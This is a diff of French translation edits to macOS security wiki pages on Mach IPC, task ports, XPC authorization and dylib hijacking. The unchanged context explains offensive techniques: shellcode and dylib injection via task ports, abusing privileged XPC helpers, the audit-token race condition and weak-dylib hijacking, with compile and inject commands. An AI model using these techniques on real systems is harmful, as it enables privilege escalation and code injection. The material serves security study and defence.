@ -91,9 +91,9 @@ Le champ initial **`msgh_bits`** est un bitmap :
|
||||
|
||||
- Le premier bit (le plus significatif) est utilisé pour indiquer qu'un message est complexe (plus d'informations ci-dessous)
|
||||
- Les 3ème et 4ème bits sont utilisés par le noyau
|
||||
- Les **5 bits les moins significatifs du 2ème octet** peuvent être utilisés pour le **voucher** : un autre type de port pour envoyer des combinaisons clé/valeur.
|
||||
- Les **5 bits les moins significatifs du 3ème octet** peuvent être utilisés pour le **port local**
|
||||
- Les **5 bits les moins significatifs du 4ème octet** peuvent être utilisés pour le **port distant**
|
||||
- Les **5 bits les moins significatifs du 2ème octet** peuvent être utilisés pour **voucher** : un autre type de port pour envoyer des combinaisons clé/valeur.
|
||||
- Les **5 bits les moins significatifs du 3ème octet** peuvent être utilisés pour **port local**
|
||||
- Les **5 bits les moins significatifs du 4ème octet** peuvent être utilisés pour **port distant**
|
||||
|
||||
Les types qui peuvent être spécifiés dans le voucher, les ports locaux et distants sont (de [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)) :
|
||||
```c
|
||||
@ -279,7 +279,7 @@ Vous pouvez installer cet outil sur iOS en le téléchargeant depuis [http://new
|
||||
|
||||
### Exemple de code
|
||||
|
||||
Notez comment le **sender** **alloue** un port, crée un **send right** pour le nom `org.darlinghq.example` et l'envoie au **bootstrap server** pendant que le sender a demandé le **send right** de ce nom et l'a utilisé pour **envoyer un message**.
|
||||
Notez comment le **sender** **alloue** un port, crée un **send right** pour le nom `org.darlinghq.example` et l'envoie au **bootstrap server** pendant que le sender demande le **send right** de ce nom et l'utilise pour **envoyer un message**.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="receiver.c"}}
|
||||
@ -419,19 +419,19 @@ Ils sont divisés en 2 groupes : Les **7 premiers ports sont détenus par le noy
|
||||
Ceux commençant **à partir** du numéro **8** sont **détenus par des démons système** et peuvent être trouvés déclarés dans [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html).
|
||||
|
||||
- **Port hôte** : Si un processus a le privilège **SEND** sur ce port, il peut obtenir **des informations** sur le **système** en appelant ses routines comme :
|
||||
- `host_processor_info`: Obtenir des informations sur le processeur
|
||||
- `host_info`: Obtenir des informations sur l'hôte
|
||||
- `host_virtual_physical_table_info`: Table de pages virtuelle/physique (nécessite MACH_VMDEBUG)
|
||||
- `host_statistics`: Obtenir des statistiques sur l'hôte
|
||||
- `mach_memory_info`: Obtenir la disposition de la mémoire du noyau
|
||||
- **Port Priv hôte** : Un processus avec le droit **SEND** sur ce port peut effectuer des **actions privilégiées** comme afficher des données de démarrage ou essayer de charger une extension de noyau. Le **processus doit être root** pour obtenir cette permission.
|
||||
- `host_processor_info` : Obtenir des informations sur le processeur
|
||||
- `host_info` : Obtenir des informations sur l'hôte
|
||||
- `host_virtual_physical_table_info` : Table de pages Virtuelle/Physique (nécessite MACH_VMDEBUG)
|
||||
- `host_statistics` : Obtenir des statistiques sur l'hôte
|
||||
- `mach_memory_info` : Obtenir la disposition de la mémoire du noyau
|
||||
- **Port Priv hôte** : Un processus avec le droit **SEND** sur ce port peut effectuer **des actions privilégiées** comme afficher des données de démarrage ou essayer de charger une extension de noyau. Le **processus doit être root** pour obtenir cette permission.
|
||||
- De plus, pour appeler l'API **`kext_request`**, il est nécessaire d'avoir d'autres droits **`com.apple.private.kext*`** qui ne sont donnés qu'aux binaires Apple.
|
||||
- D'autres routines qui peuvent être appelées sont :
|
||||
- `host_get_boot_info`: Obtenir `machine_boot_info()`
|
||||
- `host_priv_statistics`: Obtenir des statistiques privilégiées
|
||||
- `vm_allocate_cpm`: Allouer de la mémoire physique contiguë
|
||||
- `host_processors`: Droit d'envoi aux processeurs hôtes
|
||||
- `mach_vm_wire`: Rendre la mémoire résidente
|
||||
- `host_get_boot_info` : Obtenir `machine_boot_info()`
|
||||
- `host_priv_statistics` : Obtenir des statistiques privilégiées
|
||||
- `vm_allocate_cpm` : Allouer de la mémoire physique contiguë
|
||||
- `host_processors` : Droit d'envoi aux processeurs hôtes
|
||||
- `mach_vm_wire` : Rendre la mémoire résidente
|
||||
- Comme **root** peut accéder à cette permission, il pourrait appeler `host_set_[special/exception]_port[s]` pour **détourner les ports spéciaux ou d'exception de l'hôte**.
|
||||
|
||||
Il est possible de **voir tous les ports spéciaux de l'hôte** en exécutant :
|
||||
@ -463,7 +463,7 @@ world.*/
|
||||
|
||||
Il y a deux fonctions très intéressantes liées à cela :
|
||||
|
||||
- `task_for_pid(target_task_port, pid, &task_port_of_pid)` : Obtenir un droit SEND pour le port de tâche de la tâche liée à celle spécifiée par le `pid` et le donner au `target_task_port` indiqué (qui est généralement la tâche appelante ayant utilisé `mach_task_self()`, mais pourrait être un port SEND sur une autre tâche).
|
||||
- `task_for_pid(target_task_port, pid, &task_port_of_pid)` : Obtenir un droit SEND pour le port de tâche de la tâche liée à celui spécifié par le `pid` et le donner au `target_task_port` indiqué (qui est généralement la tâche appelante ayant utilisé `mach_task_self()`, mais pourrait être un port SEND sur une autre tâche).
|
||||
- `pid_for_task(task, &pid)` : Étant donné un droit SEND à une tâche, trouver à quel PID cette tâche est liée.
|
||||
|
||||
Pour effectuer des actions au sein de la tâche, la tâche avait besoin d'un droit `SEND` sur elle-même en appelant `mach_task_self()` (qui utilise le `task_self_trap` (28)). Avec cette permission, une tâche peut effectuer plusieurs actions comme :
|
||||
@ -483,7 +483,7 @@ De plus, le task_port est également le port **`vm_map`** qui permet de **lire e
|
||||
|
||||
Rappelez-vous que parce que le **noyau est également une tâche**, si quelqu'un parvient à obtenir des **permissions SEND** sur le **`kernel_task`**, il pourra faire exécuter n'importe quoi au noyau (jailbreaks).
|
||||
|
||||
- Appelez `mach_task_self()` pour **obtenir le nom** de ce port pour la tâche appelante. Ce port est seulement **hérité** à travers **`exec()`** ; une nouvelle tâche créée avec `fork()` obtient un nouveau port de tâche (dans un cas spécial, une tâche obtient également un nouveau port de tâche après `exec()` dans un binaire suid). La seule façon de créer une tâche et d'obtenir son port est d'effectuer la ["danse d'échange de port"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) tout en effectuant un `fork()`.
|
||||
- Appelez `mach_task_self()` pour **obtenir le nom** de ce port pour la tâche appelante. Ce port est uniquement **hérité** lors de **`exec()`** ; une nouvelle tâche créée avec `fork()` obtient un nouveau port de tâche (dans un cas particulier, une tâche obtient également un nouveau port de tâche après `exec()` dans un binaire suid). La seule façon de créer une tâche et d'obtenir son port est d'effectuer la ["danse d'échange de port"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) tout en effectuant un `fork()`.
|
||||
- Voici les restrictions pour accéder au port (de `macos_task_policy` du binaire `AppleMobileFileIntegrity`) :
|
||||
- Si l'application a l'**entitlement `com.apple.security.get-task-allow`**, les processus du **même utilisateur peuvent accéder au port de tâche** (généralement ajouté par Xcode pour le débogage). Le processus de **notarisation** ne le permettra pas pour les versions de production.
|
||||
- Les applications avec l'**entitlement `com.apple.system-task-ports`** peuvent obtenir le **port de tâche pour n'importe quel** processus, sauf le noyau. Dans les versions antérieures, cela s'appelait **`task_for_pid-allow`**. Cela n'est accordé qu'aux applications Apple.
|
||||
@ -768,13 +768,13 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
```
|
||||
> [!TIP]
|
||||
> Pour que cela fonctionne sur iOS, vous avez besoin de l'autorisation `dynamic-codesigning` afin de pouvoir rendre une mémoire exécutable en écriture.
|
||||
> Pour que cela fonctionne sur iOS, vous avez besoin de l'autorisation `dynamic-codesigning` afin de pouvoir rendre la mémoire exécutable en écriture.
|
||||
|
||||
### Injection de Dylib dans le thread via le port de tâche
|
||||
|
||||
Dans macOS, les **threads** peuvent être manipulés via **Mach** ou en utilisant l'**api posix `pthread`**. Le thread que nous avons généré lors de l'injection précédente a été généré en utilisant l'api Mach, donc **il n'est pas conforme à posix**.
|
||||
|
||||
Il a été possible d'**injecter un simple shellcode** pour exécuter une commande car il **n'avait pas besoin de fonctionner avec des apis conformes à posix**, seulement avec Mach. Des **injections plus complexes** nécessiteraient que le **thread** soit également **conforme à posix**.
|
||||
Il a été possible d'**injecter un simple shellcode** pour exécuter une commande car il **n'avait pas besoin de fonctionner avec des apis conformes à posix**, seulement avec Mach. **Des injections plus complexes** nécessiteraient que le **thread** soit également **conforme à posix**.
|
||||
|
||||
Par conséquent, pour **améliorer le thread**, il devrait appeler **`pthread_create_from_mach_thread`** qui va **créer un pthread valide**. Ensuite, ce nouveau pthread pourrait **appeler dlopen** pour **charger un dylib** depuis le système, donc au lieu d'écrire un nouveau shellcode pour effectuer différentes actions, il est possible de charger des bibliothèques personnalisées.
|
||||
|
||||
@ -1076,7 +1076,7 @@ Lors de l'appel de `task_for_pid` ou `thread_create_*`, un compteur dans la stru
|
||||
|
||||
## Ports d'exception
|
||||
|
||||
Lorsqu'une exception se produit dans un fil, cette exception est envoyée au port d'exception désigné du fil. Si le fil ne la gère pas, elle est ensuite envoyée aux ports d'exception de la tâche. Si la tâche ne la gère pas, elle est envoyée au port hôte qui est géré par launchd (où elle sera reconnue). Cela s'appelle le tri des exceptions.
|
||||
Lorsqu'une exception se produit dans un fil, cette exception est envoyée au port d'exception désigné du fil. Si le fil ne la gère pas, elle est ensuite envoyée aux ports d'exception de la tâche. Si la tâche ne la gère pas, elle est envoyée au port hôte qui est géré par launchd (où elle sera reconnue). Cela s'appelle le triage des exceptions.
|
||||
|
||||
Notez qu'à la fin, si elle n'est pas correctement gérée, le rapport finira généralement par être traité par le démon ReportCrash. Cependant, il est possible qu'un autre fil dans la même tâche gère l'exception, c'est ce que font les outils de rapport de plantage comme `PLCreashReporter`.
|
||||
|
||||
|
@ -73,7 +73,7 @@ De plus, la fonction `xpc_copy_description(object)` peut être utilisée pour ob
|
||||
Ces objets ont également certaines méthodes à appeler comme `xpc_<object>_copy`, `xpc_<object>_equal`, `xpc_<object>_hash`, `xpc_<object>_serialize`, `xpc_<object>_deserialize`...
|
||||
|
||||
Les `xpc_object_t` sont créés en appelant la fonction `xpc_<objetType>_create`, qui appelle en interne `_xpc_base_create(Class, Size)` où le type de la classe de l'objet (un des `XPC_TYPE_*`) et sa taille sont indiqués (40 octets supplémentaires seront ajoutés à la taille pour les métadonnées). Ce qui signifie que les données de l'objet commenceront à l'offset de 40 octets.\
|
||||
Par conséquent, le `xpc_<objectType>_t` est en quelque sorte une sous-classe de `xpc_object_t`, qui serait une sous-classe de `os_object_t*`.
|
||||
Par conséquent, le `xpc_<objectType>_t` est en quelque sorte une sous-classe du `xpc_object_t` qui serait une sous-classe de `os_object_t*`.
|
||||
|
||||
> [!WARNING]
|
||||
> Notez qu'il devrait être le développeur qui utilise `xpc_dictionary_[get/set]_<objectType>` pour obtenir ou définir le type et la valeur réelle d'une clé.
|
||||
@ -85,7 +85,7 @@ Il est possible de créer un serveur XPC en appelant `xpc_pipe_create()` ou `xpc
|
||||
|
||||
Notez que l'objet **`xpc_pipe`** est un **`xpc_object_t`** avec des informations dans sa structure sur les deux ports Mach utilisés et le nom (le cas échéant). Le nom, par exemple, le démon `secinitd` dans son plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` configure le tuyau appelé `com.apple.secinitd`.
|
||||
|
||||
Un exemple de **`xpc_pipe`** est le **tuyau bootstrap** créé par **`launchd`**, rendant possible le partage des ports Mach.
|
||||
Un exemple de **`xpc_pipe`** est le **tuyau bootstrap** créé par **`launchd`** rendant possible le partage des ports Mach.
|
||||
|
||||
- **`NSXPC*`**
|
||||
|
||||
@ -105,7 +105,7 @@ Ce fichier a d'autres clés de configuration comme `ServiceType` qui peut être
|
||||
|
||||
L'application tente de **se connecter** à un service XPC en utilisant `xpc_connection_create_mach_service`, puis launchd localise le démon et démarre **`xpcproxy`**. **`xpcproxy`** applique les restrictions configurées et crée le service avec les FDs et ports Mach fournis.
|
||||
|
||||
Pour améliorer la vitesse de recherche du service XPC, un cache est utilisé.
|
||||
Afin d'améliorer la vitesse de recherche du service XPC, un cache est utilisé.
|
||||
|
||||
Il est possible de tracer les actions de `xpcproxy` en utilisant :
|
||||
```bash
|
||||
@ -116,7 +116,7 @@ L'utilitaire `xpcproxy` utilise le préfixe `0x22`, par exemple : `0x2200001c: x
|
||||
|
||||
## Messages d'événements XPC
|
||||
|
||||
Les applications peuvent **s'abonner** à différents **messages** d'événements, leur permettant d'être **initiés à la demande** lorsque de tels événements se produisent. La **configuration** de ces services se fait dans les fichiers **plist de launchd**, situés dans les **mêmes répertoires que les précédents** et contenant une clé **`LaunchEvent`** supplémentaire.
|
||||
Les applications peuvent **s'abonner** à différents **messages** d'événements, leur permettant d'être **initiés à la demande** lorsque de tels événements se produisent. La **configuration** de ces services se fait dans les fichiers **plist launchd**, situés dans les **mêmes répertoires que les précédents** et contenant une clé **`LaunchEvent`** supplémentaire.
|
||||
|
||||
### Vérification du processus de connexion XPC
|
||||
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## XPC Authorization
|
||||
|
||||
Apple propose également une autre façon d'authentifier si le processus de connexion a **les permissions d'appeler une méthode XPC exposée**.
|
||||
Apple propose également une autre façon d'authentifier si le processus de connexion a **les autorisations d'appeler une méthode XPC exposée**.
|
||||
|
||||
Lorsqu'une application a besoin d'**exécuter des actions en tant qu'utilisateur privilégié**, au lieu d'exécuter l'application en tant qu'utilisateur privilégié, elle installe généralement un HelperTool en tant que service XPC qui peut être appelé depuis l'application pour effectuer ces actions. Cependant, l'application appelant le service doit avoir suffisamment d'autorisation.
|
||||
Lorsqu'une application a besoin d'**exécuter des actions en tant qu'utilisateur privilégié**, au lieu d'exécuter l'application en tant qu'utilisateur privilégié, elle installe généralement en tant que root un HelperTool en tant que service XPC qui peut être appelé depuis l'application pour effectuer ces actions. Cependant, l'application appelant le service doit avoir suffisamment d'autorisation.
|
||||
|
||||
### ShouldAcceptNewConnection toujours OUI
|
||||
|
||||
@ -94,7 +94,7 @@ assert(blockErr == errAuthorizationSuccess);
|
||||
}];
|
||||
}
|
||||
```
|
||||
La fonction `enumerateRightsUsingBlock` est celle utilisée pour obtenir les autorisations des applications, qui sont définies dans `commandInfo`:
|
||||
La fonction `enumerateRightsUsingBlock` est celle utilisée pour obtenir les autorisations des applications, qui sont définies dans `commandInfo` :
|
||||
```objectivec
|
||||
static NSString * kCommandKeyAuthRightName = @"authRightName";
|
||||
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
|
||||
@ -172,15 +172,15 @@ block(authRightName, authRightDefault, authRightDesc);
|
||||
}];
|
||||
}
|
||||
```
|
||||
Cela signifie qu'à la fin de ce processus, les autorisations déclarées dans `commandInfo` seront stockées dans `/var/db/auth.db`. Notez comment vous pouvez trouver pour **chaque méthode** qui nécessitera une **authentification**, **le nom de la permission** et le **`kCommandKeyAuthRightDefault`**. Ce dernier **indique qui peut obtenir ce droit**.
|
||||
Cela signifie qu'à la fin de ce processus, les autorisations déclarées dans `commandInfo` seront stockées dans `/var/db/auth.db`. Notez comment vous pouvez trouver pour **chaque méthode** qui nécessitera une **authentification**, **nom de l'autorisation** et le **`kCommandKeyAuthRightDefault`**. Ce dernier **indique qui peut obtenir ce droit**.
|
||||
|
||||
Il existe différents portées pour indiquer qui peut accéder à un droit. Certaines d'entre elles sont définies dans [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h) (vous pouvez trouver [toutes ici](https://www.dssw.co.uk/reference/authorization-rights/)), mais en résumé :
|
||||
|
||||
<table><thead><tr><th width="284.3333333333333">Nom</th><th width="165">Valeur</th><th>Description</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Tout le monde</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Personne</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>L'utilisateur actuel doit être un admin (dans le groupe admin)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Demander à l'utilisateur de s'authentifier.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Demander à l'utilisateur de s'authentifier. Il doit être un admin (dans le groupe admin)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Spécifier des règles</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Spécifier quelques commentaires supplémentaires sur le droit</td></tr></tbody></table>
|
||||
|
||||
### Vérification des droits
|
||||
### Vérification des Droits
|
||||
|
||||
Dans `HelperTool/HelperTool.m`, la fonction **`readLicenseKeyAuthorization`** vérifie si l'appelant est autorisé à **exécuter cette méthode** en appelant la fonction **`checkAuthorization`**. Cette fonction vérifiera que **authData** envoyé par le processus appelant a un **format correct** et ensuite vérifiera **ce qui est nécessaire pour obtenir le droit** d'appeler la méthode spécifique. Si tout se passe bien, l'**erreur retournée sera `nil`** :
|
||||
Dans `HelperTool/HelperTool.m`, la fonction **`readLicenseKeyAuthorization`** vérifie si l'appelant est autorisé à **exécuter cette méthode** en appelant la fonction **`checkAuthorization`**. Cette fonction vérifiera que les **authData** envoyés par le processus appelant ont un **format correct** et ensuite vérifiera **ce qui est nécessaire pour obtenir le droit** d'appeler la méthode spécifique. Si tout se passe bien, l'**erreur retournée sera `nil`** :
|
||||
```objectivec
|
||||
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||||
{
|
||||
@ -285,7 +285,7 @@ Vérifiez le **`/var/db/auth.db`** pour voir s'il est possible d'obtenir des aut
|
||||
|
||||
Ensuite, vous devez trouver le schéma de protocole afin de pouvoir établir une communication avec le service XPC.
|
||||
|
||||
La fonction **`shouldAcceptNewConnection`** indique le protocole qui est exporté :
|
||||
La fonction **`shouldAcceptNewConnection`** indique le protocole étant exporté :
|
||||
|
||||
<figure><img src="../../../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -409,7 +409,7 @@ NSLog(@"Response: %@", error);
|
||||
NSLog(@"Finished!");
|
||||
}
|
||||
```
|
||||
## Autres helpers de privilège XPC abusés
|
||||
## Autres helpers de privilèges XPC abusés
|
||||
|
||||
- [https://blog.securelayer7.net/applied-endpointsecurity-framework-previlege-escalation/?utm_source=pocket_shared](https://blog.securelayer7.net/applied-endpointsecurity-framework-previlege-escalation/?utm_source=pocket_shared)
|
||||
|
||||
|
@ -18,7 +18,7 @@ Lorsqu'une connexion est établie à un service XPC, le serveur vérifiera si la
|
||||
1. Si cela **n'est pas vérifié**, le client pourrait être **vulnérable à l'injection de code**.
|
||||
6. Vérifiez si le processus de connexion a un **droit** qui lui permet de se connecter au service. Cela s'applique aux binaires Apple.
|
||||
7. La **vérification** doit être **basée** sur le **jeton d'audit du client de connexion** **au lieu** de son ID de processus (**PID**) puisque le premier empêche les **attaques de réutilisation de PID**.
|
||||
- Les développeurs **utilisent rarement l'appel d'API de jeton d'audit** car il est **privé**, donc Apple pourrait **changer** cela à tout moment. De plus, l'utilisation d'API privées n'est pas autorisée dans les applications du Mac App Store.
|
||||
- Les développeurs **utilisent rarement l'API de jeton d'audit** car elle est **privée**, donc Apple pourrait **changer** cela à tout moment. De plus, l'utilisation d'API privées n'est pas autorisée dans les applications du Mac App Store.
|
||||
- Si la méthode **`processIdentifier`** est utilisée, elle pourrait être vulnérable.
|
||||
- **`xpc_dictionary_get_audit_token`** devrait être utilisé à la place de **`xpc_connection_get_audit_token`**, car ce dernier pourrait également être [vulnérable dans certaines situations](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
||||
|
||||
|
@ -41,7 +41,7 @@ Deux méthodes différentes par lesquelles cela pourrait être exploitable :
|
||||
1. Variante 1 :
|
||||
- **L'exploit** **se connecte** au service **A** et au service **B**
|
||||
- Le service **B** peut appeler une **fonctionnalité privilégiée** dans le service A que l'utilisateur ne peut pas
|
||||
- Le service **A** appelle **`xpc_connection_get_audit_token`** tout en _**ne**_ étant pas à l'intérieur du **gestionnaire d'événements** pour une connexion dans un **`dispatch_async`**.
|
||||
- Le service **A** appelle **`xpc_connection_get_audit_token`** tout en _**n'étant pas**_ à l'intérieur du **gestionnaire d'événements** pour une connexion dans un **`dispatch_async`**.
|
||||
- Ainsi, un **message différent** pourrait **écraser le jeton d'audit** car il est dispatché de manière asynchrone en dehors du gestionnaire d'événements.
|
||||
- L'exploit passe au **service B le droit d'ENVOYER au service A**.
|
||||
- Ainsi, le svc **B** sera en fait **en train d'envoyer** les **messages** au service **A**.
|
||||
@ -50,7 +50,7 @@ Deux méthodes différentes par lesquelles cela pourrait être exploitable :
|
||||
- Le service **B** peut appeler une **fonctionnalité privilégiée** dans le service A que l'utilisateur ne peut pas
|
||||
- L'exploit se connecte avec le **service A** qui **envoie** à l'exploit un **message s'attendant à une réponse** dans un **port de réponse** spécifique.
|
||||
- L'exploit envoie au **service** B un message passant **ce port de réponse**.
|
||||
- Lorsque le service **B répond**, il **envoie le message au service A**, **tandis que** l'**exploit** envoie un **message différent au service A** essayant d'**atteindre une fonctionnalité privilégiée** et s'attendant à ce que la réponse du service B écrase le jeton d'audit au bon moment (Condition de course).
|
||||
- Lorsque le service **B répond**, il **envoie le message au service A**, **tandis que** l'**exploit** envoie un **message différent au service A** essayant d'**atteindre une fonctionnalité privilégiée** et s'attendant à ce que la réponse du service B écrase le jeton d'audit au bon moment (Race Condition).
|
||||
|
||||
## Variante 1 : appel de xpc_connection_get_audit_token en dehors d'un gestionnaire d'événements <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
@ -62,7 +62,7 @@ Scénario :
|
||||
- Pour ce contrôle d'autorisation, **`A`** obtient le jeton d'audit de manière asynchrone, par exemple en appelant `xpc_connection_get_audit_token` depuis **`dispatch_async`**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Dans ce cas, un attaquant pourrait déclencher une **Condition de course** en réalisant un **exploit** qui **demande à A d'effectuer une action** plusieurs fois tout en faisant **B envoyer des messages à `A`**. Lorsque la RC est **réussie**, le **jeton d'audit** de **B** sera copié en mémoire **tandis que** la demande de notre **exploit** est en cours de **traitement** par A, lui donnant **accès à l'action privilégiée que seul B pouvait demander**.
|
||||
> Dans ce cas, un attaquant pourrait déclencher une **Race Condition** en réalisant un **exploit** qui **demande à A d'effectuer une action** plusieurs fois tout en faisant **B envoyer des messages à `A`**. Lorsque le RC est **réussi**, le **jeton d'audit** de **B** sera copié en mémoire **tandis que** la demande de notre **exploit** est en cours de **traitement** par A, lui donnant **accès à l'action privilégiée que seul B pouvait demander**.
|
||||
|
||||
Cela s'est produit avec **`A`** en tant que `smd` et **`B`** en tant que `diagnosticd`. La fonction [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) de smb peut être utilisée pour installer un nouvel outil d'assistance privilégié (en tant que **root**). Si un **processus s'exécutant en tant que root contacte** **smd**, aucun autre contrôle ne sera effectué.
|
||||
|
||||
@ -81,7 +81,7 @@ Pour effectuer l'attaque :
|
||||
|
||||
## Variante 2 : transfert de réponse
|
||||
|
||||
Dans un environnement XPC (Communication inter-processus), bien que les gestionnaires d'événements ne s'exécutent pas de manière concurrente, le traitement des messages de réponse a un comportement unique. Plus précisément, deux méthodes distinctes existent pour envoyer des messages qui s'attendent à une réponse :
|
||||
Dans un environnement XPC (Communication Inter-Processus), bien que les gestionnaires d'événements ne s'exécutent pas de manière concurrente, le traitement des messages de réponse a un comportement unique. Plus précisément, deux méthodes distinctes existent pour envoyer des messages qui s'attendent à une réponse :
|
||||
|
||||
1. **`xpc_connection_send_message_with_reply`** : Ici, le message XPC est reçu et traité sur une file d'attente désignée.
|
||||
2. **`xpc_connection_send_message_with_reply_sync`** : À l'inverse, dans cette méthode, le message XPC est reçu et traité sur la file d'attente de dispatch actuelle.
|
||||
@ -109,9 +109,9 @@ Voici une représentation visuelle du scénario d'attaque décrit :
|
||||
|
||||
## Problèmes de découverte
|
||||
|
||||
- **Difficultés à localiser des instances** : La recherche d'instances d'utilisation de `xpc_connection_get_audit_token` a été difficile, tant statiquement que dynamiquement.
|
||||
- **Difficultés à localiser des instances** : La recherche d'instances d'utilisation de `xpc_connection_get_audit_token` était difficile, tant statiquement que dynamiquement.
|
||||
- **Méthodologie** : Frida a été utilisée pour accrocher la fonction `xpc_connection_get_audit_token`, filtrant les appels ne provenant pas des gestionnaires d'événements. Cependant, cette méthode était limitée au processus accroché et nécessitait une utilisation active.
|
||||
- **Outils d'analyse** : Des outils comme IDA/Ghidra ont été utilisés pour examiner les services mach accessibles, mais le processus était long, compliqué par les appels impliquant le cache partagé dyld.
|
||||
- **Outils d'analyse** : Des outils comme IDA/Ghidra ont été utilisés pour examiner les services mach accessibles, mais le processus était long, compliqué par des appels impliquant le cache partagé dyld.
|
||||
- **Limitations de script** : Les tentatives de script de l'analyse pour les appels à `xpc_connection_get_audit_token` à partir de blocs `dispatch_async` ont été entravées par des complexités dans l'analyse des blocs et les interactions avec le cache partagé dyld.
|
||||
|
||||
## La solution <a href="#the-fix" id="the-fix"></a>
|
||||
|
@ -31,7 +31,7 @@ Cette technique peut également être **utilisée comme une technique ASEP** car
|
||||
> - Le logiciel a des droits (runtime durci) sans le droit [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)
|
||||
> - Vérifiez les **droits** d'un binaire avec : `codesign -dv --entitlements :- </path/to/bin>`
|
||||
>
|
||||
> Dans des versions plus récentes, vous pouvez trouver cette logique dans la deuxième partie de la fonction **`configureProcessRestrictions`**. Cependant, ce qui est exécuté dans les versions plus récentes est les **vérifications initiales de la fonction** (vous pouvez supprimer les ifs liés à iOS ou à la simulation car ceux-ci ne seront pas utilisés sur macOS).
|
||||
> Dans des versions plus récentes, vous pouvez trouver cette logique dans la deuxième partie de la fonction **`configureProcessRestrictions`**. Cependant, ce qui est exécuté dans les versions plus récentes est les **vérifications initiales de la fonction** (vous pouvez supprimer les ifs liés à iOS ou à la simulation car ceux-ci ne seront pas utilisés dans macOS).
|
||||
|
||||
### Validation de la bibliothèque
|
||||
|
||||
@ -42,7 +42,7 @@ Pour charger une bibliothèque personnalisée, le binaire doit avoir **l'un des
|
||||
- [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
|
||||
- [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
|
||||
|
||||
ou le binaire **ne doit pas** avoir le **drapeau de runtime durci** ou le **drapeau de validation de bibliothèque**.
|
||||
ou le binaire **ne devrait pas** avoir le **drapeau de runtime durci** ou le **drapeau de validation de bibliothèque**.
|
||||
|
||||
Vous pouvez vérifier si un binaire a un **runtime durci** avec `codesign --display --verbose <bin>` en vérifiant le drapeau runtime dans **`CodeDirectory`** comme : **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
|
||||
|
||||
@ -69,13 +69,13 @@ La **partie principale** du **code** liée à cette fonctionnalité se trouve da
|
||||
Il y a **4 commandes d'en-tête différentes** qu'un binaire macho peut utiliser pour charger des bibliothèques :
|
||||
|
||||
- La commande **`LC_LOAD_DYLIB`** est la commande courante pour charger un dylib.
|
||||
- La commande **`LC_LOAD_WEAK_DYLIB`** fonctionne comme la précédente, mais si le dylib n'est pas trouvé, l'exécution se poursuit sans aucune erreur.
|
||||
- La commande **`LC_REEXPORT_DYLIB`** proxy (ou ré-exporte) les symboles d'une autre bibliothèque.
|
||||
- La commande **`LC_LOAD_WEAK_DYLIB`** fonctionne comme la précédente, mais si le dylib n'est pas trouvé, l'exécution continue sans aucune erreur.
|
||||
- La commande **`LC_REEXPORT_DYLIB`** proxy (ou ré-exporte) les symboles d'une bibliothèque différente.
|
||||
- La commande **`LC_LOAD_UPWARD_DYLIB`** est utilisée lorsque deux bibliothèques dépendent l'une de l'autre (c'est ce qu'on appelle une _dépendance ascendante_).
|
||||
|
||||
Cependant, il existe **2 types de détournement de dylib** :
|
||||
|
||||
- **Bibliothèques liées faibles manquantes** : Cela signifie que l'application essaiera de charger une bibliothèque qui n'existe pas configurée avec **LC_LOAD_WEAK_DYLIB**. Ensuite, **si un attaquant place un dylib là où il est censé être chargé**.
|
||||
- **Bibliothèques liées faibles manquantes** : Cela signifie que l'application essaiera de charger une bibliothèque qui n'existe pas configurée avec **LC_LOAD_WEAK_DYLIB**. Ensuite, **si un attaquant place un dylib là où il est attendu, il sera chargé**.
|
||||
- Le fait que le lien soit "faible" signifie que l'application continuera à s'exécuter même si la bibliothèque n'est pas trouvée.
|
||||
- Le **code lié** à cela se trouve dans la fonction `ImageLoaderMachO::doGetDependentLibraries` de `ImageLoaderMachO.cpp` où `lib->required` est seulement `false` lorsque `LC_LOAD_WEAK_DYLIB` est vrai.
|
||||
- **Trouvez des bibliothèques liées faibles** dans les binaires avec (vous avez plus tard un exemple sur comment créer des bibliothèques de détournement) :
|
||||
@ -89,8 +89,8 @@ compatibility version 1.0.0
|
||||
```
|
||||
- **Configuré avec @rpath** : Les binaires Mach-O peuvent avoir les commandes **`LC_RPATH`** et **`LC_LOAD_DYLIB`**. En fonction des **valeurs** de ces commandes, les **bibliothèques** vont être **chargées** à partir de **différents répertoires**.
|
||||
- **`LC_RPATH`** contient les chemins de certains dossiers utilisés pour charger des bibliothèques par le binaire.
|
||||
